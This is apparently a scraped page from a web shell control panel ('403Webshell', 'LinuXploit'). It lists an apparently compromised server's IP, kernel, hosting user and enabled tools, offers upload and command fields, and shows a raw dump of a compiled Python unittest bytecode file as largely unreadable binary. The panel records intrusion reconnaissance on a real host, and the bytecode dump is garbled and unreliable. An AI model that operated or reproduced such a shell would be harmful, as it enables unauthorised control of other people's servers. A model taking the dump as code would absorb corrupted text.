403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/unittest/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/unittest/test/__pycache__/test_program.cpython-36.pyc
3

x2_�5�@s�ddlZddlZddlZddlmZddlZddlZGdd�dej�ZGdd�dej	�Z
e�ZGdd�de�Z
Gd	d
�d
ej�Zedkr�ej�dS)�N)�supportc@sheZdZdd�Zdd�ZGdd�dej�ZGdd�dej�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dd�ZdS)�Test_TestProgramcsjtj�}�g�tjjtjjtjj���d�_���fdd�}||_	|j
d�}�j�j��j|j
��dS)NFcsd�_�j|���S)NT)�wasRun�assertEqual)Z	start_dir�pattern)�expectedPath�self�tests��?/opt/alt/python36/lib64/python3.6/unittest/test/test_program.py�_find_testsszETest_TestProgram.test_discovery_from_dotted_path.<locals>._find_testsz
unittest.test)�unittest�
TestLoader�os�path�abspath�dirname�test�__file__rrZdiscover�
assertTruerZ_tests)r�loaderrZsuiter
)rrr	r�test_discovery_from_dotted_paths
z0Test_TestProgram.test_discovery_from_dotted_pathcs�t��t�}G�fdd�dt�}|�}tjj��fdd�}dd�tj_|j|�dd�}|tj_|j|�tj|d	d
d�}|j|j��|j|j|�|j|jd
�dS)NcseZdZ�fdd�ZdS)z/Test_TestProgram.testNoExit.<locals>.FakeRunnercs
||_�S)N)r)rr)�resultr
r�run"sz3Test_TestProgram.testNoExit.<locals>.FakeRunner.runN)�__name__�
__module__�__qualname__rr
)rr
r�
FakeRunner!srcs�tj_dS)N)r
�TestProgram�	parseArgsr
)�oldParseArgsr
r�restoreParseArgs)sz5Test_TestProgram.testNoExit.<locals>.restoreParseArgscWsdS)Nr
)�argsr
r
r�<lambda>+sz-Test_TestProgram.testNoExit.<locals>.<lambda>cSs
tj`dS)N)r
rrr
r
r
r�
removeTest.sz/Test_TestProgram.testNoExit.<locals>.removeTestF�)�
testRunner�exit�	verbosity)	�objectr
rr�
addCleanuprrrr()rrr�runnerr!r$�programr
)r rr�
testNoExits

zTest_TestProgram.testNoExitc@seZdZdd�Zdd�ZdS)zTest_TestProgram.FooBarcCsdst�dS)NT)�AssertionError)rr
r
r�testPass:sz Test_TestProgram.FooBar.testPasscCsdst�dS)NF)r.)rr
r
r�testFail<sz Test_TestProgram.FooBar.testFailN)rrrr/r0r
r
r
r�FooBar9sr1c@s eZdZdZdd�Zdd�ZdS)zTest_TestProgram.FooBarLoaderz3Test loader that returns a suite containing FooBar.cCs|j|jtj�g�S)N)�
suiteClass�loadTestsFromTestCaserr1)r�moduler
r
r�loadTestsFromModuleAsz1Test_TestProgram.FooBarLoader.loadTestsFromModulecCs|j|jtj�g�S)N)r2r3rr1)r�namesr4r
r
r�loadTestsFromNamesEsz0Test_TestProgram.FooBarLoader.loadTestsFromNamesN)rrr�__doc__r5r7r
r
r
r�FooBarLoader?sr9cCsRGdd�dt�}tj}dgt_|�}tj|dd|j�d�}|t_|jd|j�dS)Nc@seZdZdd�ZdS)zATest_TestProgram.test_defaultTest_with_string.<locals>.FakeRunnercSs
||_dS)NT)r)rrr
r
rrKszETest_TestProgram.test_defaultTest_with_string.<locals>.FakeRunner.runN)rrrrr
r
r
rrJsr�faketestF�
unittest.test)r&r'�defaultTest�
testLoader)r;)r)�sys�argvr
rr9r�	testNames)rr�old_argvr+r,r
r
r�test_defaultTest_with_stringIsz-Test_TestProgram.test_defaultTest_with_stringcCsZGdd�dt�}tj}dgt_|�}tj|dddg|j�d�}|t_|jddg|j�dS)Nc@seZdZdd�ZdS)zCTest_TestProgram.test_defaultTest_with_iterable.<locals>.FakeRunnercSs
||_dS)NT)r)rrr
r
rrZszGTest_TestProgram.test_defaultTest_with_iterable.<locals>.FakeRunner.runN)rrrrr
r
r
rrYsrr:Fz
unittest.testzunittest.test2)r&r'r<r=)r)r>r?r
rr9rr@)rrrAr+r,r
r
r�test_defaultTest_with_iterableXs
z/Test_TestProgram.test_defaultTest_with_iterablecCs8tjddgtjtj�d�|j�d�}|jt|d��dS)NF�foobar)�stream)r'r?r&r=r)r
�main�TextTestRunner�io�StringIOr9r�hasattr)rr,r
r
r�test_NonExitis
zTest_TestProgram.test_NonExitcCs.|jttjdgtjtj�d�d|j�d�dS)NrD)rET)r?r&r'r=)�assertRaises�
SystemExitr
rFrGrHrIr9)rr
r
r�	test_ExitqszTest_TestProgram.test_ExitcCs,|jttjdgtjtj�d�|j�d�dS)NrD)rE)r?r&r=)rLrMr
rFrGrHrIr9)rr
r
r�test_ExitAsDefault{sz#Test_TestProgram.test_ExitAsDefaultN)rrrrr-r
�TestCaser1rr9rBrCrKrNrOr
r
r
rr
s

rc@s>eZdZdZdZdZdZdZdZe	j
ZdZdZ
dZdd�ZdS)�InitialisableProgramFN��__main__rcGsdS)Nr
)rr"r
r
r�__init__�szInitialisableProgram.__init__)rrrr'rr(r<�	tb_localsr&r
ZdefaultTestLoaderr=r4ZprogNamerrTr
r
r
rrQ�srQc@s(eZdZdZdZdZdd�Zdd�ZdS)rNrcKs"|t_tjrtjd8_t�dS)NrR)r�initArgs�
raiseError�	TypeError)r�kwargsr
r
rrT�szFakeRunner.__init__cCs
|t_tS)N)rr�RESULT)rrr
r
rr�szFakeRunner.run)rrrrVrrWrTrr
r
r
rr�s
rc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zd!dd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd S)"�TestCommandLineArgscCs*t�|_dd�|j_dt_dt_dt_dS)NcSsdS)Nr
r
r
r
rr#�sz+TestCommandLineArgs.setUp.<locals>.<lambda>r)rQr,�createTestsrrVrrW)rr
r
r�setUp�s
zTestCommandLineArgs.setUpcCsj|j}x.dD]&}d|_|jd|g�|j|jd�qWx.d	D]&}d|_|jd|g�|j|jd�q<WdS)
N�-q�--quietrRr�-v�	--verboser%)r^r_)r`ra)r,r(rr)rr,�optr
r
r�
testVerbosity�s

z!TestCommandLineArgs.testVerbosityc!Cs�|j}�x�dD�]�\}}|dkr(tr(qt||d�|jdg�|jt||�d�g}t|||�|jdg�|jt||�|�dg}t|||�|jdg�|jt||�|�d|d}d	|}x�||fD]�}t||d�|jd|g�|jt||�d
�t||d�tj��*}	|jt	��}
|jd|g�WdQRXWdQRX|j
|
jjd�t||d
�tj��*}	|jt	��}
|jd|g�WdQRXWdQRX|j
|
jjd�q�WqWdS)N�buffer�failfast�catch�
catchbreakF�*z-%srz--%sTr%�rdrd�rere�rfrg)rirjrk)r%)r%)
r,ZhasInstallHandler�setattrr�assertIs�getattrrZcaptured_stderrrLrMrZ	exceptionr")rr,�arg�attrZfalse�trueZ	short_optZlong_optrb�stderr�cmr
r
r�testBufferCatchFailfast�s@
"
"z+TestCommandLineArgs.testBufferCatchFailfastc
Cs�Gdd�dtj�}tjdd�}zjgtjdd�<|j|�jd�|j|dd�jd�dgtjdd�<|j|�jd�|j|dd�jd�Wd|tjdd�<XdS)zTest the warnings argumentc@seZdZdd�Zdd�ZdS)z/TestCommandLineArgs.testWarning.<locals>.FakeTPc_sdS)Nr
)rr"�kwr
r
rr�sz9TestCommandLineArgs.testWarning.<locals>.FakeTP.parseArgsc_sdS)Nr
)rr"rur
r
r�runTests�sz8TestCommandLineArgs.testWarning.<locals>.FakeTP.runTestsN)rrrrrvr
r
r
r�FakeTP�srwN�default�ignore)�warningsZ	somevalue)r
rr>�warnoptionsrrz)rrwr{r
r
r�testWarning�szTestCommandLineArgs.testWarningcCsf|j}t|_d|_d|_d|_d|_|j�|jtj	dddddd��|jtj
d�|j|jt
�dS)Nr(rerdrzF)r(rerdrUrzr)r,rr&r(rerdrzrvrrVrrmrrZ)rr,r
r
r�testRunTestsRunnerClass�s

z+TestCommandLineArgs.testRunTestsRunnerClasscCsH|j}t�|_dt_|j�|jtj�|jtjd�|j|j	t
�dS)Nr)r,rr&rVrvZassertIsNonerrrmrrZ)rr,r
r
r�testRunTestsRunnerInstance
sz.TestCommandLineArgs.testRunTestsRunnerInstancecCsN|j}t|_|jddg�|jd|j�|j�|jtjdddddd��dS)Nz--localsTFrR)rdrerUr(rz)r,rr&rrrUrvrV)rr,r
r
r�test_localss
zTestCommandLineArgs.test_localscCs`|j}dt_t|_d|_d|_d|_d|_|j�|j	tj
i�|j	tjd�|j|jt
�dS)Nr%r(rerdr)r,rrWr&r(rerdrrvrrVrmrrZ)rr,r
r
r�testRunTestsOldRunnerClass%sz.TestCommandLineArgs.testRunTestsOldRunnerClasscsjtjd��j���fdd�}�j|�d�_�fdd�}|�_�j}d|_t|_|j	��j
�j�dS)Nz
unittest.maincs
��_dS)N)�installHandlerr
)r4�originalr
r�restore<szBTestCommandLineArgs.testCatchBreakInstallsHandler.<locals>.restoreFcs
d�_dS)NT)�	installedr
)rr
r�fakeInstallHandlerAszMTestCommandLineArgs.testCatchBreakInstallsHandler.<locals>.fakeInstallHandlerT)r>�modulesr�r*r�r,rgrr&rvr)rr�r�r,r
)r4r�rr�testCatchBreakInstallsHandler9s

z1TestCommandLineArgs.testCatchBreakInstallsHandlerTcs6�fdd�}tjj�|tj_�fdd�}|j|�dS)Ncs|�kS)Nr
)r)r6r
r�isfileNsz1TestCommandLineArgs._patch_isfile.<locals>.isfilecs�tj_dS)N)rrr�r
)r�r
rr�Rsz2TestCommandLineArgs._patch_isfile.<locals>.restore)rrr�r*)rr6�existsr�r�r
)r6r�r�
_patch_isfileMs
z!TestCommandLineArgs._patch_isfilecCsP|j}dddddg}|j|�dd�|_|j|�dd	d
dg}|j|j|�dS)N�prognamezfoo.pyzbar.Pyzbaz.PYzwing.txtcSsdS)Nr
r
r
r
rr#]sz<TestCommandLineArgs.testParseArgsFileNames.<locals>.<lambda>ZfooZbarZbaz)r,r�r\rrr@)rr,r?�expectedr
r
r�testParseArgsFileNamesWs


z*TestCommandLineArgs.testParseArgsFileNamescCsH|j}dddg}|j|�dd�|_|j|�ddg}|j|j|�dS)Nr�zfoo/bar/baz.pyzgreen\red.pycSsdS)Nr
r
r
r
rr#ksz<TestCommandLineArgs.testParseArgsFilePaths.<locals>.<lambda>zfoo.bar.bazz	green.red)r,r�r\rrr@)rr,r?r�r
r
r�testParseArgsFilePathsfs



z*TestCommandLineArgs.testParseArgsFilePathscCsH|j}dddg}|jg�dd�|_|j|�|j|j|dd��dS)Nr�zfoo/bar/baz.pyzgreen\red.pycSsdS)Nr
r
r
r
rr#wszCTestCommandLineArgs.testParseArgsNonExistentFiles.<locals>.<lambda>rR)r,r�r\rrr@)rr,r?r
r
r�testParseArgsNonExistentFilesrs



z1TestCommandLineArgs.testParseArgsNonExistentFilescsdtj��|j}�fdd�}d|d�|d�g}|j|�dd�|_|j|�dd	g}|j|j|�dS)
Ncstjj�|�S)N)rr�join)�name)�cur_dirr
r�_joinszOTestCommandLineArgs.testParseArgsAbsolutePathsThatCanBeConverted.<locals>._joinr�zfoo/bar/baz.pyzgreen\red.pycSsdS)Nr
r
r
r
rr#�szRTestCommandLineArgs.testParseArgsAbsolutePathsThatCanBeConverted.<locals>.<lambda>zfoo.bar.bazz	green.red)r�getcwdr,r�r\rrr@)rr,r�r?r�r
)r�r�,testParseArgsAbsolutePathsThatCanBeConverted|s


z@TestCommandLineArgs.testParseArgsAbsolutePathsThatCanBeConvertedcCsH|j}dddg}|j|�dd�|_|j|�|j|j|dd��dS)Nr�z/foo/bar/baz.pyz
/green/red.pycSsdS)Nr
r
r
r
rr#�szUTestCommandLineArgs.testParseArgsAbsolutePathsThatCannotBeConverted.<locals>.<lambda>rR)r,r�r\rrr@)rr,r?r
r
r�/testParseArgsAbsolutePathsThatCannotBeConverted�s



zCTestCommandLineArgs.testParseArgsAbsolutePathsThatCannotBeConvertedN)T)rrrr]rcrtr|r}r~rr�r�r�r�r�r�r�r�r
r
r
rr[�s
(



r[rS)rHrr>rrr
Z
unittest.testrPrrrQr)rZrr[rrFr
r
r
r�<module>szz

Youez - 2016 - github.com/yon3zu
LinuXploit